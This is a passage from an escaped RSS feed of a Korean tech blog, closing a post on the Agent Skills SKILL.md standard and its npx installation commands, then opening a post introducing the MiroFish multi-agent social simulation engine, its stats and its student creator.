&lt;li style=&quot;margin-bottom: 7px;&quot;&gt;&lt;b&gt;스킬 찾기&lt;/b&gt; &amp;mdash; skills.sh(CLI), github.com/anthropics/skills(공식), agentskills.io(표준 문서)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 7px;&quot;&gt;&lt;b&gt;팀 공유는 .agents/skills/ 커밋&lt;/b&gt; &amp;mdash; 프로젝트 루트에 넣고 git에 커밋하면 팀 전체 자동 동기화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;함정 주의&lt;/b&gt; &amp;mdash; 본문 5,000 토큰 미만 유지, description 트리거 조건 명확히, name은 소문자+하이픈만&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지금 당장 해볼 수 있는 것 3가지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;읽고 끝내지 말고, 바로 하나씩 시도해보자.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-direction: column; gap: 12px; margin: 15px 0 20px 0;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 14px 18px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① npx skills add로 스킬 하나 설치해보기 (1분)&lt;/b&gt;&lt;br /&gt;인기 스킬 하나를 지금 바로 설치해서 에이전트가 어떻게 반응하는지 확인한다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; margin: 10px 0 0 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;npx skills add anthropics/skills --skill frontend-design&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 14px 18px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② 나만의 첫 SKILL.md 만들기 (5분)&lt;/b&gt;&lt;br /&gt;반복하는 작업 하나를 골라 name과 description만 채우면 스킬이 완성된다. 섹션 5의 commit-helper 예시를 복붙해서 팀 컨벤션에 맞게 수정하면 된다.&lt;/p&gt;
&lt;pre class=&quot;sqf&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; margin: 10px 0 0 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;mkdir -p ~/.agents/skills/my-skill
touch ~/.agents/skills/my-skill/SKILL.md
# name, description 두 줄로 시작 &amp;rarr; 에이전트 재시작하면 바로 인식&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 14px 18px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;③ 팀 레포에 .agents/skills/ 디렉토리 만들기 (3분)&lt;/b&gt;&lt;br /&gt;팀 전체가 쓰는 코드 리뷰 기준이나 커밋 스타일을 스킬로 만들어 레포에 커밋하면, 팀원 누구나 어떤 에이전트를 쓰더라도 동일한 기준을 자동으로 적용받는다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;어떤 AI 에이전트를 쓰든, 오늘 만든 스킬은 내일 다른 에이전트에서도 그대로 쓸 수 있다. 도구는 바뀌어도 지식은 남는다. 그게 오픈 표준의 힘이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;더 자세한 내용은 아래 공식 출처에서 확인할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 20px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://agentskills.io&quot;&gt;agentskills.io&lt;/a&gt; &amp;mdash; 공식 표준 문서 (출처: 공식 사이트)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/agentskills/agentskills&quot;&gt;github.com/agentskills/agentskills&lt;/a&gt; &amp;mdash; 표준 저장소 Apache 2.0 (출처: GitHub)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/anthropics/skills&quot;&gt;github.com/anthropics/skills&lt;/a&gt; &amp;mdash; Anthropic 공식 스킬 모음 (출처: GitHub)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://skills.sh&quot;&gt;skills.sh&lt;/a&gt; &amp;mdash; Vercel Labs 스킬 디렉토리 + npx CLI (출처: 공식 사이트)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Skills</category>
      <category>Agent Skill</category>
      <category>agentskills</category>
      <category>anthropics skills</category>
      <category>codex skills</category>
      <category>Progressive Disclosure</category>
      <category>SKILL.md</category>
      <category>skills 표준</category>
      <category>skills.sh</category>
      <category>에이전트 스킬</category>
      <category>오픈 표준 skills</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/553</guid>
      <comments>https://goddaehee.tistory.com/553#entry553comment</comments>
      <pubDate>Thu, 19 Mar 2026 23:12:47 +0900</pubDate>
    </item>
    <item>
      <title>MiroFish 뜯어보기(1) - 이론편 : 문서 하나로 수천 명의 가상 인간을 시뮬레이션하는 집단 지능 엔진</title>
      <link>https://goddaehee.tistory.com/552</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;오늘은 2026년 3월 GitHub 글로벌 트렌딩 1위를 찍으며 화제가 된 집단 지능 시뮬레이션 엔진, &lt;/span&gt;&lt;b&gt;MiroFish&lt;/b&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;를 살펴보려고 한다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2306&quot; data-origin-height=&quot;1536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwMGwH/dJMcahKufQn/TZswxg0QZj2sWnKNOOyiVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwMGwH/dJMcahKufQn/TZswxg0QZj2sWnKNOOyiVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwMGwH/dJMcahKufQn/TZswxg0QZj2sWnKNOOyiVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwMGwH%2FdJMcahKufQn%2FTZswxg0QZj2sWnKNOOyiVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2306&quot; height=&quot;1536&quot; data-origin-width=&quot;2306&quot; data-origin-height=&quot;1536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;문서 하나를 넣으면 수천 명의 가상 인간을 만들어내고, 이 사람들이 서로 대화하고, 논쟁하고, 편을 바꾸면서 &quot;앞으로 어떤 일이 벌어질지&quot;를 시뮬레이션하는 도구다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;무엇보다 놀라운점은 대학생이 10일 만에 만들었다고 한다. CAMEL-AI(NeurIPS 2023)와 OASIS(arXiv 2024) 오픈소스 생태계 위에 서 있었기에 가능한 속도였고, 이 가능성에 24시간 만에 약 60억 원의 투자가 결정되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;해당 글을 기반으로 실제 실습한 내용은 다음 포스팅을 참고 부탁 드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/556&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MiroFish 뜯어보기(2) - 실습편 : 문서 하나로 수천 명의 가상 인간을 시뮬레이션하는 집단 지능 엔진 사용해보기(mcp vs cli)&lt;/a&gt;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;MiroFish 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로젝트 개요&lt;/li&gt;
&lt;li&gt;핵심 수치&lt;/li&gt;
&lt;li&gt;왜 지금 MiroFish인가?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;만든 사람: 궈항장과 바이브코딩
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;BettaFish에서 MiroFish까지&lt;/li&gt;
&lt;li&gt;바이브코딩이란&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;기술 아키텍처: 5단계 파이프라인
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1단계: 지식 그래프 구축&lt;/li&gt;
&lt;li&gt;2단계: 환경 설정&lt;/li&gt;
&lt;li&gt;3단계: 병렬 시뮬레이션&lt;/li&gt;
&lt;li&gt;4단계: 보고서 생성&lt;/li&gt;
&lt;li&gt;5단계: 심층 인터랙션&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;학술적 기반: CAMEL-AI와 OASIS
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CAMEL-AI 프레임워크&lt;/li&gt;
&lt;li&gt;OASIS: 100만 에이전트 시뮬레이션&lt;/li&gt;
&lt;li&gt;기술 스택 정리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;God's Eye View: 시뮬레이션 중 변수 주입&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실제 사용 사례
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;홍루몽: 200년 된 문학 미스터리&lt;/li&gt;
&lt;li&gt;금융 시장 시뮬레이션&lt;/li&gt;
&lt;li&gt;여론 예측&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;천톈차오와 &quot;슈퍼 개인&quot; 시대
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;천톈차오는 누구인가&lt;/li&gt;
&lt;li&gt;슈퍼 개인 이론&lt;/li&gt;
&lt;li&gt;24시간 만에 결정된 투자&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;한계점과 주의사항
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;학술적으로 밝혀진 한계&lt;/li&gt;
&lt;li&gt;실무적 한계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;경쟁 프레임워크 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응과 파생 프로젝트
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;글로벌 반응&lt;/li&gt;
&lt;li&gt;한국어 포크&lt;/li&gt;
&lt;li&gt;오프라인 포크&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설치 및 시작하기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: MiroFish 소개 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. MiroFish 소개&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프로젝트 개요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MiroFish&lt;/b&gt;는 &quot;간결하고 범용적인 집단 지능 엔진으로, 세상의 모든 것을 예측한다&quot;를 내세우는 오픈소스 프로젝트이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 아이디어는 이렇다. 뉴스 기사, 정책 문서, 소설, 재무 보고서 같은 &lt;b&gt;시드 자료&lt;/b&gt;를 입력하면, MiroFish가 자료 안의 인물&amp;middot;기관&amp;middot;관계를 추출해 &lt;b&gt;수천 명의 가상 인간(AI 에이전트)&lt;/b&gt;을 생성한다. 이 에이전트들은 각각 고유한 성격, 의견 편향, 영향력, 장기 기억을 갖고 가상의 소셜 미디어에서 자유롭게 대화하고, 논쟁하고, 설득하고, 편을 바꾼다. 이 과정에서 나타나는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;창발적 패턴(emergent patterns)&lt;/b&gt;&lt;/span&gt;을 분석해 미래 시나리오를 들여다본다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한마디로, &lt;b&gt;&quot;미래를 미리 돌려보는 디지털 샌드박스&quot;&lt;/b&gt;다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 수치&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0px; font-size: 14px; height: 241px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8; height: 25px;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;b&gt;GitHub&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/666ghj/MiroFish&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/666ghj/MiroFish&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;b&gt;Stars / Forks&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;~32,700 / ~4,100 (2026년 3월 18일 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;b&gt;라이선스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;AGPL-3.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;b&gt;언어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;Python (백엔드) + Vue.js (프론트엔드)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;b&gt;현재 버전&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;v0.1.2 (2026-03-07)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;b&gt;시뮬레이션 엔진&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;OASIS (CAMEL-AI) &amp;mdash; 최대 100만 에이전트 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;b&gt;GitHub 트렌딩 1위&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;2026년 3월 7일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;&lt;b&gt;투자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; height: 27px;&quot;&gt;3,000만 위안 (~60억 원) &amp;mdash; 성다그룹 천톈차오&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 지금 MiroFish인가?&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish가 2026년 3월에 폭발적으로 주목받은 것은 우연이 아니다. 여러 거시적 흐름이 동시에 맞물린 결과이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 2026년 = &quot;에이전트 시스템 원년&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LLM API 비용이 급격히 하락하고(GPT-4 대비 GPT-4o mini는 약 100배 저렴), CAMEL-AI&amp;middot;LangGraph&amp;middot;CrewAI 같은 멀티 에이전트 프레임워크가 성숙하면서, 수천 개의 에이전트를 동시에 돌리는 시뮬레이션이 처음으로 &lt;b&gt;경제적으로 가능&lt;/b&gt;해진 해다. 1년 전에는 같은 시뮬레이션에 수백 달러가 들었을 작업이 이제 5~25달러로 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 패러다임 전환: 모델 중심 &amp;rarr; 시뮬레이션 중심&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2023~2025년의 AI 트렌드는 &quot;더 큰 모델, 더 긴 컨텍스트&quot;였다. 2026년 들어 흐름이 바뀌고 있다. 단일 모델에 질문을 던지는 대신, &lt;b&gt;수천 개의 에이전트를 사회처럼 구성해서 창발적 결과를 관찰&lt;/b&gt;하는 접근이 부상하고 있다. MiroFish는 이 &quot;시뮬레이션 중심 AI&quot; 패러다임의 가장 눈에 띄는 사례다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 프로토콜 표준화: A2A + MCP&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Google이 2025년 발표한 &lt;b&gt;A2A(Agent-to-Agent)&lt;/b&gt; 프로토콜과 Anthropic의 &lt;b&gt;MCP(Model Context Protocol)&lt;/b&gt;가 산업 표준으로 수렴하면서, 에이전트 간 상호운용성 인프라가 갖춰지기 시작했다. MiroFish가 의존하는 CAMEL-AI 생태계도 이 표준들을 지원하며, 에이전트 시뮬레이션의 기반 인프라가 급속히 성숙하고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. &quot;슈퍼 개인&quot; 패러다임의 현실 검증&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;천톈차오가 약 60억 원을 건 것은 단순히 소프트웨어에 대한 투자가 아니다. &lt;b&gt;&quot;1인이 AI를 지렛대 삼아 기업을 대체할 수 있다&quot;&lt;/b&gt;는 테제에 대한 실증 베팅이다. 00후 대학생이 10일 만에 만든 도구가 GitHub 1위를 달성한 사건 자체가, 이 패러다임이 이론이 아니라 현실임을 보여주는 증거로 해석되고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 만든 사람 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 만든 사람: 궈항장과 바이브코딩&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;BettaFish에서 MiroFish까지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;궈항장&lt;/b&gt;, 온라인 닉네임 &lt;b&gt;BaiFu&lt;/b&gt;. 베이징우편전신대학교(BUPT) 4학년 학생이다. 중국 미디어에서 &quot;00후&quot;로 지칭되는 2000년 이후 출생 세대다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그의 첫 프로젝트 &lt;b&gt;BettaFish&lt;/b&gt;는 30개 이상 소셜 플랫폼의 수백만 댓글을 분석하는 멀티 에이전트 여론 분석 도구다. 2025년 말 GitHub 글로벌 트렌딩에 올라 일주일 만에 스타 2만 개를 돌파했고, 현재 약 &lt;b&gt;39,300 스타&lt;/b&gt;를 기록 중이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/666ghj/BettaFish&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;BettaFish GitHub&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 프로젝트가 성다그룹 창업자 천톈차오의 눈에 띄었고, 궈항장은 인턴으로 합류하게 된다. 그리고 인턴 기간 중 10일 만에 MiroFish를 만들었다. 본인 표현으로는 &lt;b&gt;&quot;바이브코딩(Vibe Coding)&quot;&lt;/b&gt; &amp;mdash; 빠르게, 직관적으로, AI 코딩 도구의 도움을 받아 개발하는 방식이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;기여자 분석&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub 기여 기록을 보면, 전체 219개 커밋 중 &lt;b&gt;218개가 궈항장(666ghj) 본인&lt;/b&gt;의 커밋이다. 나머지 1개는 &lt;code&gt;cursoragent&lt;/code&gt; &amp;mdash; AI 코딩 도구 Cursor의 자동 커밋이다. 말 그대로 &lt;b&gt;한 명이 만든 프로젝트&lt;/b&gt;다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;바이브코딩이란&lt;/h3&gt;
